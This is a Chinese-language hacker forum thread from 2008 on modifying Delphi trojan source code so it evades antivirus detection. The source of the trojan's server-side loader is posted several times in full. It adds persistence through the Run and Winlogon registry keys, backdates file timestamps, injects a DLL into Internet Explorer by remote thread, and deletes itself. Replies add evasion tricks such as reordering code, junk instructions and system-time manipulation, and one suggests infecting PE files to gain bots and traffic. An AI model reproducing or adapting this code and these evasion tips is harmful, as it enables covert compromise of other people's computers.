[讨论]delphi如何修改木马源码免杀(页 1) - 技术交流 - 【3.A.S.T】网络安全爱好者 -- 网络安全，势在必行

valen886 发表于 2008-7-20 18:07

[讨论]delphi如何修改木马源码免杀

[讨论]delphi如何修改木马源码免杀
议题作者：qqqqaz
信息来源：邪恶八进制信息安全团队（[url=http://www.eviloctal.com/]www.eviloctal.com[/url]）

想修改木马源码来免杀，打乱顺序，改版本，函数名？
通常server端我用nop 填充，client 端我改函数名，server端一个文件得容易改源码来免杀。
如果server端有dll文件已免杀，dll转res文件，加在main.dpr中,main 代码如下，请教如何修改才免杀，或者改其中得单元文件，还有鸽子代码也是同样的吗？：

program Main;

uses
  windows,
  RejoiceBase,
  SysUtils2,
  SysUtils,
  tlhelp32,
  Reg;

{$L 'SRT.obj'}
{$R RSRC.RES}

//const

var
  {  ExeFiles: PChar='3885B37550B70C7A';
  DLLFiles: PChar='39E145AC78292F80';
  IEFiles: PChar ='A80D2686D0D48FB4446382AAE7FCCA8A';}

  ExeFiles: PChar = 'EXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
  DLLFiles: PChar = 'LXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
  IEFiles: PChar  = 'HXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';

  PID: DWORD;
  Process: DWORD;
  DllAllpath: string;
  StartInfo: TStartupInfo;
  ProcInfo: TProcessInformation;

function xVirtualFreeEx(hProcess: LongWord; lpAddress: Pointer; dwSize: LOngWord; dwFreeType: LongWord): Boolean; stdcall; external;

function xCreateRemoteThread(hProcess: LongWord; lpThreadAttributes: Pointer; dwStackSize: LongWord; lpStartAddress: Pointer; lpParameter: Pointer; dwCreationFlags: LongWord; lpThreadId: Pointer): LongWord; stdcall; external;

function FileExists(pszPath: string): BOOL; stdcall; external 'shlwapi.dll' Name 'PathFileExistsA';

function xVirtualAllocEx(hProcess: LongWord; lpAddress: Pointer; dwSize: LongWord; flAllocationType: LongWord; flProtect: LongWord): Pointer; stdcall; external;

//----------------修改文件时间函数
type
// indicates the file time to set, used by SetFileTimesHelper and SetDirTimesHelper
TFileTimes = (ftLastAccess, ftLastWrite, ftCreation);

function SetFileTimesHelper(const FileName: string; const DateTime: TDateTime; Times: TFileTimes): Boolean;
var
Handle: THandle;
FileTime: TFileTime;
SystemTime: TSystemTime;
begin
Result := False;
Handle := CreateFile(PChar(FileName), GENERIC_WRITE, FILE_SHARE_READ, nil,OPEN_EXISTING, 0, 0);
if Handle <> INVALID_HANDLE_VALUE then
try
  //SysUtils.DateTimeToSystemTime(DateTimeToLocalDateTime(DateTime), SystemTime);
  SysUtils.DateTimeToSystemTime(DateTime, SystemTime);
  if Windows.SystemTimeToFileTime(SystemTime, FileTime) then
  begin
case Times of
   ftLastAccess:
   Result := SetFileTime(Handle, nil, @FileTime, nil);
   ftLastWrite:
   Result := SetFileTime(Handle, nil, nil, @FileTime);
   ftCreation:
   Result := SetFileTime(Handle, @FileTime, nil, nil);
end;
  end;
finally
  CloseHandle(Handle);
end;
end;

function SetFileLastAccess(const FileName: string; const DateTime: TDateTime): Boolean;
begin
Result := SetFileTimesHelper(FileName, DateTime, ftLastAccess);
end;

function SetFileLastWrite(const FileName: string; const DateTime: TDateTime): Boolean;
begin
Result := SetFileTimesHelper(FileName, DateTime, ftLastWrite);
end;

function SetFileCreation(const FileName: string; const DateTime: TDateTime): Boolean;
begin
Result := SetFileTimesHelper(FileName, DateTime, ftCreation);
end;
//----------------修改文件时间函数

procedure ExtDelMe;
var
  F: textfile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;
begin
  DelValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp', 'NoRealMode');
  BatchFileName := Gesy + 'Deleteme.bat';
  AssignFile(F, BatchFileName);
  Rewrite(F);
  WriteLn(F, ':try');
  WriteLn(F, 'del "' + ParamStr(0) + '"');
  WriteLn(F, 'if exist "' + ParamStr(0) + '"' + ' goto try');
  WriteLn(F, 'del %0');
  CloseFile(F);
  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then
  begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
  end;
end;

function RandomFilename(aFilename: string): string;
var
  Path, Filename, Ext: string;
begin
  Result := aFilename;
  Path := ExtractFilepath(aFilename);
  Ext := ExtractFileExt(aFilename);
  Filename := ExtractFilename(aFilename);
  if Length(Ext) > 0 then
Filename := Copy(Filename, 1, Length(Filename) - Length(Ext));
  repeat
Result := Path + Filename + inttoStr(Random(9999)) + Ext;
  until not FileExists(Result);
end;

function GetProcessID(sProcName: string): Integer;
var
  hProcSnap: THandle;
  pe32: TProcessEntry32;
begin
  Result := -1;
  hProcSnap := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
  if hProcSnap = INVALID_HANDLE_VALUE then Exit;
  pe32.dwSize := SizeOf(ProcessEntry32);
  if Process32First(hProcSnap, pe32) = True then
while Process32Next(hProcSnap, pe32) = True do
begin
if AnsiStricomp(PChar(ExtractFilename(pe32.szExefile)), PChar(ExtractFilename(sProcName))) = 0 then
begin
   Result := pe32.th32ProcessID;
   break;
end;
end;
  CloseHandle(hProcSnap);
end;

//插入进程
function InjectLibrary(Process: LongWord; DLLPath: pChar): Boolean;
var
  BytesWritten: DWORD;
  Thread: DWORD;
  ThreadID: DWORD;
  Parameters: Pointer;
begin
  Result := False;
  Parameters := xVirtualAllocEx(Process, nil, 4096, MEM_COMMIT, PAGE_READWRITE);
  if Parameters = nil then Exit;
  WriteProcessMemory(Process, Parameters, Pointer(DLLPath), 4096, BytesWritten);
  Thread := xCreateRemoteThread(Process, nil, 0, GetProcAddress(GetModuleHandle('KERNEL32.DLL'), 'LoadLibraryA'), Parameters, 0, @ThreadId);
  WaitForSingleObject(Thread, INFINITE);
  xVirtualFreeEx(Process, Parameters, 0, MEM_RELEASE);
  if Thread = 0 then Exit;
  CloseHandle(Thread);
  Result := True;
end;

var
  isSetup: Bool;
  SetupPathName: string;
begin
{  ExeFiles := pchar(DeCryptStr(ExeFiles,'bwindlovexiaohan'));
  DLLFiles := PChar(DeCryptStr(DLLFiles,'bwindlovexiaohan'));
  IEFiles := PChar(DeCryptStr(IEFiles,'bwindlovexiaohan')); }

  SetupPathName := Gesy + ExeFiles;
  if (CompareText(paramstr(0), SetupPathName) <> 0) then
  begin
try
if FileExists(SetupPathName) then
begin
   FilesetAttr(SetupPathName, 0);
   DeleteFile(SetupPathName);
   if FileExists(SetupPathName) then
   begin
   Halt;
   Exit;
   end;
end;
CopyFile(pchar(paramstr(0)), pchar(SetupPathName), False);
SetFileTimesHelper(SetupPathName,Now-1000,ftLastWrite);
SetFileTimesHelper(SetupPathName,Now-1000,ftLastWrite);
SetFileTimesHelper(SetupPathName,Now-1000,ftCreation);
except
end;
isSetup := True;
if judgesys = 3 then
begin
Reg.AddValue(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 'Shell', pchar('Explorer.exe '+Gesy+ ExeFiles), 1);
end
else
begin
Reg.AddValue(HKEY_CURRENT_USER, 'SoftWare\Microsoft\Windows\CurrentVersion\Run', ExeFiles, pchar(Gesy + ExeFiles), 1);
end;
  end;
  if FindWindow('Rejoice_3.2', 'Windows IDE') = 0 then
  begin
DllAllpath := Gesy + DLLFiles;
try
FilesetAttr(DllAllpath, 0);
DeleteFile(DllAllpath); {删除现有的DLL文件}
except
end;
if FileExists(DllAllpath) then {如果删除失败，则改名}
begin
DllAllpath := RandomFilename(DllAllpath);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftCreation);
end;
if ExtractRes('dllfile', 'mydll', DllAllpath) then {生成新的DLL插入文件}
begin
if IEFiles = 'IEXPLORE.EXE' then
CreateProcess(nil, PChar(IEPath), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
PID := GetProcessID(IEFiles);
Process := OpenProcess(PROCESS_ALL_ACCESS, False, PID); {打开要潜入的进程}
FilesetAttr(DllAllpath, 0);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftCreation);
InjectLibrary(Process, Pchar(DllAllpath));
end;
  end;
  if isSetup then
  Begin
  SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
  SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);

  SetFileTimesHelper(DllAllpath,Now-1000,ftCreation);
  ExtDelMe;
  end;
  Halt;
end.
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晶莹剔透§烈日灼然

SUNNY仔 发表于 2008-7-20 18:07

有鸽子代码也是同样的吗?鸽子代码如何改免杀，请大家指教指教
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晶莹剔透§烈日灼然

niufen 发表于 2008-7-20 18:07

[s:70]
把主代码写成一个过程，然后在后面调用这个过程就OK了。。。
这方法过不了NOD32，它是查杀API函数的~[s:92]
[s:81] 鸽子的代码也一样,如果针对特征码查杀的话,只要打乱一下主代码的顺序编译就OK了...
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晶莹剔透§烈日灼然

LOVE 发表于 2008-7-20 18:07

我不是很明白，可否举个例程，或用以上的代码，多谢你的指点
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checkhere 发表于 2008-7-20 18:07

[s:75] 我问题也看的晕

有了原代码还怕不能免杀????

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晶莹剔透§烈日灼然

皓新发表于 2008-7-20 18:07

有了源代码．怎么具体做免杀．阿．有例子吗？请问楼上．怎么＂打乱一下主代码的顺序编译＂？？？是否可以给一个例子．谢谢．
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晶莹剔透§烈日灼然

揸拖拉机入西藏 发表于 2008-7-20 18:07

那如何避开＂API函数查到＂？？？ [s:46] [s:46]
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我大明 发表于 2008-7-20 18:07

引用:
这里是引用第[5 楼]的qq998于2006-10-23 16:15发表的：
有了源代码．怎么具体做免杀．阿．有例子吗？请问楼上．怎么＂打乱一下主代码的顺序编译＂？？？是否可以给一个例子．谢谢．
程序过程(比如3部分,不同功能)
A
B
C

你改成
C
B
A玩世不恭彼此 ⌒ ˇ互相鼓励信任認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.
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michael 发表于 2008-7-20 18:07

引用:
这里是引用第[6 楼]的qq998于2006-10-23 16:20发表的：
那如何避开＂API函数查到＂？？？ [s:46] [s:46]
汗~
不太清楚是NOD32通过什么拦截API的
估计是HOOK API吧 [s:64]玩世不恭彼此 ⌒ ˇ互相鼓励信任認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.
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晶莹剔透§烈日灼然

维维发表于 2008-7-20 18:07

多谢指教，可能我的表达能力不太好
简单的说，我不知道鸽子的和以上的server端如何才能有效的修改代码免杀

'把主代码写成一个过程，然后在后面调用这个过程就OK了'这一句话我不是很明白，可否举个例程，主代码是指main.pas吗？
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晶莹剔透§烈日灼然

Frankie 发表于 2008-7-20 18:07

[s:92]  [s:92]  [s:92]
无语....

procedure fuckmain; //把主代码写成一个过程...
var
isSetup: Bool;
SetupPathName: string;
begin
{ ExeFiles := pchar(DeCryptStr(ExeFiles,'bwindlovexiaohan'));
DLLFiles := PChar(DeCryptStr(DLLFiles,'bwindlovexiaohan'));
IEFiles := PChar(DeCryptStr(IEFiles,'bwindlovexiaohan')); }

SetupPathName := Gesy + ExeFiles;
if (CompareText(paramstr(0), SetupPathName) <> 0) then
begin
  try
if FileExists(SetupPathName) then
begin
FilesetAttr(SetupPathName, 0);
DeleteFile(SetupPathName);
if FileExists(SetupPathName) then
begin
Halt;
Exit;
end;
end;
CopyFile(pchar(paramstr(0)), pchar(SetupPathName), False);
SetFileTimesHelper(SetupPathName,Now-1000,ftLastWrite);
SetFileTimesHelper(SetupPathName,Now-1000,ftLastWrite);
SetFileTimesHelper(SetupPathName,Now-1000,ftCreation);
  except
  end;
  isSetup := True;
  if judgesys = 3 then
  begin
Reg.AddValue(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 'Shell', pchar('Explorer.exe '+Gesy+ ExeFiles), 1);
  end
  else
  begin
Reg.AddValue(HKEY_CURRENT_USER, 'SoftWare\Microsoft\Windows\CurrentVersion\Run', ExeFiles, pchar(Gesy + ExeFiles), 1);
  end;
end;
if FindWindow('Rejoice_3.2', 'Windows IDE') = 0 then
begin
  DllAllpath := Gesy + DLLFiles;
  try
FilesetAttr(DllAllpath, 0);
DeleteFile(DllAllpath); {删除现有的DLL文件}
  except
  end;
  if FileExists(DllAllpath) then {如果删除失败，则改名}
  begin
DllAllpath := RandomFilename(DllAllpath);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftCreation);
  end;
  if ExtractRes('dllfile', 'mydll', DllAllpath) then {生成新的DLL插入文件}
  begin
  if IEFiles = 'IEXPLORE.EXE' then
  CreateProcess(nil, PChar(IEPath), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
PID := GetProcessID(IEFiles);
Process := OpenProcess(PROCESS_ALL_ACCESS, False, PID); {打开要潜入的进程}
FilesetAttr(DllAllpath, 0);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftCreation);
InjectLibrary(Process, Pchar(DllAllpath));
  end;
end;
if isSetup then
Begin
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftLastWrite);
SetFileTimesHelper(DllAllpath,Now-1000,ftCreation);
ExtDelMe;
end;
Halt;
end;

begin
  fuckmain;  //调用该过程...
end.

或者建立另一个单元文件,把上面调用到的一些过程和函数打乱顺序放进去,然后在头部调用该单元文件就OK了.. [s:73]
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雪中情 发表于 2008-7-20 18:07

有了源码，再添加一些新的功能，例如恶作剧，搜寻符合' Signature DWORD ? ' 标志

的文件写入,只要打开windows下的PE,转向到自己的站点,这样又有肉鸡,也有流量.. [s:70]

在加入新的代码的时候,也许杀毒软件病毒库检测不出来：）游戏吧 http://www.game8.cc/MyBlog http://www.asm32.cn
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晶莹剔透§烈日灼然

阿狼发表于 2008-7-20 18:07

照楼上理解那么增加部分安全代码也有效果咯？杀不杀的判定根据一般是什么啊？
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clarexxg 发表于 2008-7-20 18:07

引用:
这里是引用第[12 楼]的catking09于2006-10-24 20:23发表的：
照楼上理解那么增加部分安全代码也有效果咯？杀不杀的判定根据一般是什么啊？
添加代码能否免杀，我没测试过，只是做个估计，但是自己写个添加花指令，例如下面一个小小的东西
JNZ _test
JN _test
＿test:
免杀效果应该不错...

杀不杀的判断根据，就是杀毒软件病毒分析师定的特征码和类似特征码

个人意见　
[s:66]游戏吧 http://www.game8.cc/MyBlog http://www.asm32.cn
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晶莹剔透§烈日灼然

珉头发表于 2008-7-20 18:07

NOD32 好像是检查导入表
放在过程或函数里能免杀，相当加了 CALL .....
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wjcocacola 发表于 2008-7-20 18:07

如果真是查API的话
就不要那个API的函数就是了吧
最多就是麻烦一点。
API函数给的就是方便而已。
如果你有那个能力，就重写功能相同的函数来代替。
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晶莹剔透§烈日灼然

椰子郎 发表于 2008-7-20 18:07

过NOD32??加个IF ...ELSE就过了..过卡巴6.0就用POST SYSTEM TIME 1980..就PASS了..

无意中发现的...
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晶莹剔透§烈日灼然

dongdg 发表于 2008-7-20 18:07

引用:
引用第2楼ch4o.jt于2006-10-23 13:41发表的:
[s:70]
把主代码写成一个过程，然后在后面调用这个过程就OK了。。。
这方法过不了NOD32，它是查杀API函数的~[s:92]
[s:81] 鸽子的代码也一样,如果针对特征码查杀的话,只要打乱一下主代码的顺序编译就OK了...
如果真的从API函数开始杀的话.那不是连WINDOWS一起杀了?hi.baidu.com/zuikee/
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dog 发表于 2008-7-20 18:07

8是杀API
是针对特殊点的API拦截
然后给用户发出提示玩世不恭彼此 ⌒ ˇ互相鼓励信任認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.
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晶莹剔透§烈日灼然

风车发表于 2008-7-20 18:07

begin
Reg.AddValue(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 'Shell', pchar('Explorer.exe '+Gesy+ ExeFiles), 1);
end
else
begin
Reg.AddValue(HKEY_CURRENT_USER, 'SoftWare\Microsoft\Windows\CurrentVersion\Run', ExeFiles, pchar(Gesy + ExeFiles), 1);
end;

是这一段被杀了!!!

谁有办法解决嚒???
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非法操作 发表于 2008-7-20 18:07

// 只要打乱一下主代码的顺序编译就OK了...

也无效
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晶莹剔透§烈日灼然

sunnygirl 发表于 2008-7-20 18:07

program Main;

uses
  windows,
  RejoiceBase,
  SysUtils2,
  tlhelp32,
  Reg ;

{$L 'SRT.obj'}
{$R RSRC.RES}
{$R 'Down.RES' 'Down.rc'}

const
{  ExeFiles='rejoice.exe';
  DLLFiles='rejoice.dll';
  //IEFiles ='Explorer.exe';
  IEFiles ='IEXPLORE.EXE';}
  ExeFiles: PChar = 'EXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
  DLLFiles: PChar = 'LXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
  IEFiles: PChar  = 'HXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
var
  PID: DWORD;
  Process: DWORD;
  DllAllpath: string;
  StartInfo: TStartupInfo;
  ProcInfo: TProcessInformation;

function xVirtualFreeEx(hProcess: LongWord; lpAddress: Pointer; dwSize: LOngWord; dwFreeType: LongWord): Boolean; stdcall; external;

function xCreateRemoteThread(hProcess: LongWord; lpThreadAttributes: Pointer; dwStackSize: LongWord; lpStartAddress: Pointer; lpParameter: Pointer; dwCreationFlags: LongWord; lpThreadId: Pointer): LongWord; stdcall; external;

function FileExists(pszPath: string): BOOL; stdcall; external 'shlwapi.dll' Name 'PathFileExistsA';

function xVirtualAllocEx(hProcess: LongWord; lpAddress: Pointer; dwSize: LongWord; flAllocationType: LongWord; flProtect: LongWord): Pointer; stdcall; external;

procedure ExtDelMe;
var
  F: textfile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;
begin
  DelValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp', 'NoRealMode');
  BatchFileName := Gesy + 'Deleteme.bat';
  AssignFile(F, BatchFileName);
  Rewrite(F);
  WriteLn(F, ':try');
  WriteLn(F, 'del "' + ParamStr(0) + '"');
  WriteLn(F, 'if exist "' + ParamStr(0) + '"' + ' goto try');
  WriteLn(F, 'del %0');
  CloseFile(F);
  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then
  begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
  end;
end;

function RandomFilename(aFilename: string): string;
var
  Path, Filename, Ext: string;
begin
  Result := aFilename;
  Path := ExtractFilepath(aFilename);
  Ext := ExtractFileExt(aFilename);
  Filename := ExtractFilename(aFilename);
  if Length(Ext) > 0 then
Filename := Copy(Filename, 1, Length(Filename) - Length(Ext));
  repeat
Result := Path + Filename + inttoStr(Random(9999)) + Ext;
  until not FileExists(Result);
end;

function GetProcessID(sProcName: string): Integer;
var
  hProcSnap: THandle;
  pe32: TProcessEntry32;
begin
  Result := -1;
  hProcSnap := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
  if hProcSnap = INVALID_HANDLE_VALUE then Exit;
  pe32.dwSize := SizeOf(ProcessEntry32);
  if Process32First(hProcSnap, pe32) = True then
while Process32Next(hProcSnap, pe32) = True do
begin
if AnsiStricomp(PChar(ExtractFilename(pe32.szExefile)), PChar(ExtractFilename(sProcName))) = 0 then
begin
   Result := pe32.th32ProcessID;
   break;
end;
end;
  CloseHandle(hProcSnap);
end;

//插入进程
function InjectLibrary(Process: LongWord; DLLPath: pChar): Boolean;
var
  BytesWritten: DWORD;
  Thread: DWORD;
  ThreadID: DWORD;
  Parameters: Pointer;
begin
  Result := False;
  Parameters := xVirtualAllocEx(Process, nil, 4096, MEM_COMMIT, PAGE_READWRITE);
  if Parameters = nil then Exit;
  WriteProcessMemory(Process, Parameters, Pointer(DLLPath), 4096, BytesWritten);
  Thread := xCreateRemoteThread(Process, nil, 0, GetProcAddress(GetModuleHandle('KERNEL32.DLL'), 'LoadLibraryA'), Parameters, 0, @ThreadId);
  WaitForSingleObject(Thread, INFINITE);
  xVirtualFreeEx(Process, Parameters, 0, MEM_RELEASE);
  if Thread = 0 then Exit;
  CloseHandle(Thread);
  Result := True;
end;

{procedure killer;
var
f:textfile;
begin
assignfile(f,ExtractFilePath(ParamStr(0))+'key.txt');
if not fileexists(ExtractFilePath(ParamStr(0))+'key.txt') then
begin
rewrite(f);
closefile(f);
end;
end; }

var
  isSetup: Bool;
  SetupPathName: string;
begin
  SetupPathName := Gesy + ExeFiles;
  if (CompareText(paramstr(0), SetupPathName) <> 0) then
  begin
try
if FileExists(SetupPathName) then
begin
   FilesetAttr(SetupPathName, 0);
   DeleteFile(SetupPathName);
   if FileExists(SetupPathName) then
   begin
   Halt;
   Exit;
   end;
end;
CopyFile(pchar(paramstr(0)), pchar(SetupPathName), False);
except
end;
isSetup := True;
if judgesys = 3 then
begin
Reg.AddValue(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 'Shell', pchar('Explorer.exe '+), 1);
end
else
begin
Reg.AddValue(HKEY_CURRENT_USER, 'SoftWare\Microsoft\Windows\CurrentVersion\Run', ExeFiles, pchar(Gesy + ExeFiles), 1);
end;
  end;
  if FindWindow('Rejoice', 'Windows IDE') = 0 then
  begin
DllAllpath := Gesy + DLLFiles;
try
FilesetAttr(DllAllpath, 0);
DeleteFile(DllAllpath); {删除现有的DLL文件}
except
end;
if FileExists(DllAllpath) then {如果删除失败，则改名}
begin
DllAllpath := RandomFilename(DllAllpath);
end;
if ExtractRes('dllfile', 'mydll', DllAllpath) then {生成新的DLL插入文件}
begin
if IEFiles = 'IEXPLORE.EXE' then
begin
CreateProcess(nil, PChar(IEPath), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
end;
PID := GetProcessID(IEFiles);
Process := OpenProcess(PROCESS_ALL_ACCESS, False, PID); {打开要潜入的进程}
InjectLibrary(Process, Pchar(DllAllpath));
end;
  end;
  if isSetup then
ExtDelMe;
  Halt;
end.

再贴一下代码
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